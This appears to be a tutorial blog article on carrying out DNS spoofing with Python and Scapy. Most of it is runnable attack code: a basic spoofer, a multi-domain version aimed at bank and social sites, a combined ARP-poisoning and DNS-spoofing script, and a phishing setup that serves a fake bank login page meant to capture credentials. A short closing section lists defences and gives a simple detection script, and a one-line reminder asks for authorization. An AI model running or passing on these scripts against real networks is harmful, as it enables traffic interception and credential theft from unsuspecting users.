Python for Dns Spoofing Attacks
DNS spoofing, also known as DNS cache poisoning, is a type of cyber attack where an attacker manipulates the DNS resolution process to redirect users to malicious websites. In this article, we’ll explore how to use Python to perform DNS spoofing attacks, along with various techniques and tools.
Understanding DNS Spoofing
Before we dive into the code, let’s understand how DNS spoofing works:
sequenceDiagram participant User participant Attacker participant DNS Server User->>DNS Server: DNS Query Attacker->>DNS Server: Spoofed DNS Response DNS Server->>User: Spoofed IP Address User->>Attacker: Connects to malicious site
- The attacker intercepts DNS queries
- They send a forged response before the legitimate DNS server
- The victim’s computer caches the fake DNS record
- Future requests are directed to the attacker’s IP address
Basic DNS Spoofing with Scapy
Let’s start with a simple DNS spoofing script using Scapy:
from scapy.all import *
import concurrent.futures
def dns_spoof(pkt):
if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
udp = UDP(dport=pkt[UDP].sport, sport=53)
dns = DNS(id=pkt[DNS].id,
qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata="192.168.1.100"))
spoofed_pkt = ip/udp/dns
send(spoofed_pkt, verbose=0)
print(f"Spoofed DNS response sent to {pkt[IP].src}")
def sniff_and_spoof():
sniff(filter="udp port 53", prn=dns_spoof)
if __name__ == "__main__":
with concurrent.futures.ThreadPoolExecutor() as executor:
executor.submit(sniff_and_spoof)
This script does the following:
- Sniffs for DNS queries (UDP port 53)
- Checks if the query is for ‘www.example.com’
- Crafts a spoofed DNS response with a fake IP (192.168.1.100)
- Sends the spoofed packet back to the victim
- Uses a ThreadPoolExecutor for improved performance
Advanced DNS Spoofing Techniques
1. Multiple Domain Spoofing
Let’s extend our script to spoof multiple domains:
from scapy.all import *
import concurrent.futures
domains_to_spoof = {
b'www.example.com': '192.168.1.100',
b'www.bank.com': '192.168.1.101',
b'www.social.com': '192.168.1.102'
}
def dns_spoof(pkt):
if (DNS in pkt and pkt[DNS].qd.qname in domains_to_spoof):
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
udp = UDP(dport=pkt[UDP].sport, sport=53)
dns = DNS(id=pkt[DNS].id,
qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=domains_to_spoof[pkt[DNS].qd.qname]))
spoofed_pkt = ip/udp/dns
send(spoofed_pkt, verbose=0)
print(f"Spoofed DNS response sent for {pkt[DNS].qd.qname.decode('utf-8')} to {pkt[IP].src}")
def sniff_and_spoof():
sniff(filter="udp port 53", prn=dns_spoof)
if __name__ == "__main__":
with concurrent.futures.ThreadPoolExecutor() as executor:
executor.submit(sniff_and_spoof)
2. DNS Spoofing with ARP Poisoning
To make our attack more effective, we can combine it with ARP poisoning:
from scapy.all import *
import concurrent.futures
victim_ip = "192.168.1.2"
gateway_ip = "192.168.1.1"
interface = "eth0"
def arp_poison():
while True:
send(ARP(op=2, pdst=victim_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff"), iface=interface)
send(ARP(op=2, pdst=gateway_ip, psrc=victim_ip, hwdst="ff:ff:ff:ff:ff:ff"), iface=interface)
time.sleep(2)
def dns_spoof(pkt):
if (DNS in pkt and pkt[DNS].qd.qname == b'www.example.com'):
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
udp = UDP(dport=pkt[UDP].sport, sport=53)
dns = DNS(id=pkt[DNS].id,
qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata="192.168.1.100"))
spoofed_pkt = ip/udp/dns
send(spoofed_pkt, verbose=0)
print(f"Spoofed DNS response sent to {pkt[IP].src}")
def sniff_and_spoof():
sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=interface)
if __name__ == "__main__":
with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
executor.submit(arp_poison)
executor.submit(sniff_and_spoof)
This script performs both ARP poisoning and DNS spoofing simultaneously using a ThreadPoolExecutor.
Real-life Example: Phishing Attack Simulation
Let’s simulate a phishing attack by spoofing a popular banking website:
from scapy.all import *
import concurrent.futures
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
# Phishing site configuration
PHISHING_DOMAIN = b'www.mybank.com'
PHISHING_IP = '192.168.1.100'
PHISHING_PORT = 80
# Phishing web server
class PhishingHandler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
with open('fake_bank_login.html', 'rb') as file:
self.wfile.write(file.read())
def start_phishing_server():
server = HTTPServer(('', PHISHING_PORT), PhishingHandler)
server.serve_forever()
# DNS Spoofing
def dns_spoof(pkt):
if (DNS in pkt and pkt[DNS].qd.qname == PHISHING_DOMAIN):
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
udp = UDP(dport=pkt[UDP].sport, sport=53)
dns = DNS(id=pkt[DNS].id,
qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=PHISHING_IP))
spoofed_pkt = ip/udp/dns
send(spoofed_pkt, verbose=0)
print(f"Spoofed DNS response sent for {PHISHING_DOMAIN.decode()} to {pkt[IP].src}")
def sniff_and_spoof():
sniff(filter="udp port 53", prn=dns_spoof)
if __name__ == "__main__":
# Start phishing web server
threading.Thread(target=start_phishing_server, daemon=True).start()
# Start DNS spoofing
with concurrent.futures.ThreadPoolExecutor() as executor:
executor.submit(sniff_and_spoof)
This script does the following:
- Sets up a simple HTTP server to host a fake banking login page
- Performs DNS spoofing to redirect requests for ‘www.mybank.com’ to our phishing server
- Uses threading to run both the web server and DNS spoofing simultaneously
To complete this setup, you’d need to create a fake_bank_login.html
file with a convincing login form that captures user credentials.
Detecting and Preventing DNS Spoofing
To protect against DNS spoofing, you can implement the following measures:
- Use DNSSEC (Domain Name System Security Extensions)
- Implement DNS over HTTPS (DoH) or DNS over TLS (DoT)
- Regularly flush DNS cache
- Use a reliable DNS server
Here’s a Python script to detect potential DNS spoofing using Scapy:
from scapy.all import *
import concurrent.futures
def detect_dns_spoof(pkt):
if DNS in pkt and pkt.haslayer(DNSRR):
if pkt[DNS].qr == 1 and pkt[DNS].ancount > 0:
qname = pkt[DNSQR].qname.decode()
rdata = pkt[DNSRR].rdata
print(f"Potential DNS spoofing detected:")
print(f"Source IP: {pkt[IP].src}")
print(f"Domain: {qname}")
print(f"Resolved IP: {rdata}")
# Additional checks
if qname in known_domains and rdata != known_domains[qname]:
print(f"WARNING: Unexpected IP for {qname}")
print("---")
def sniff_dns():
sniff(filter="udp port 53", prn=detect_dns_spoof)
if __name__ == "__main__":
known_domains = {
"www.example.com": "93.184.216.34",
"www.google.com": "172.217.167.36"
}
with concurrent.futures.ThreadPoolExecutor() as executor:
executor.submit(sniff_dns)
This script monitors DNS responses and alerts when it detects potential spoofing attempts. It also checks against a list of known domain-IP pairs for additional verification.
Conclusion
DNS spoofing is a powerful technique that can be used for both malicious purposes and penetration testing. As ethical hackers and security professionals, it’s crucial to understand these attacks to better defend against them.
Remember to always obtain proper authorization before performing any security testing or using these techniques in real-world scenarios.
For further reading on DNS security, check out the following resources: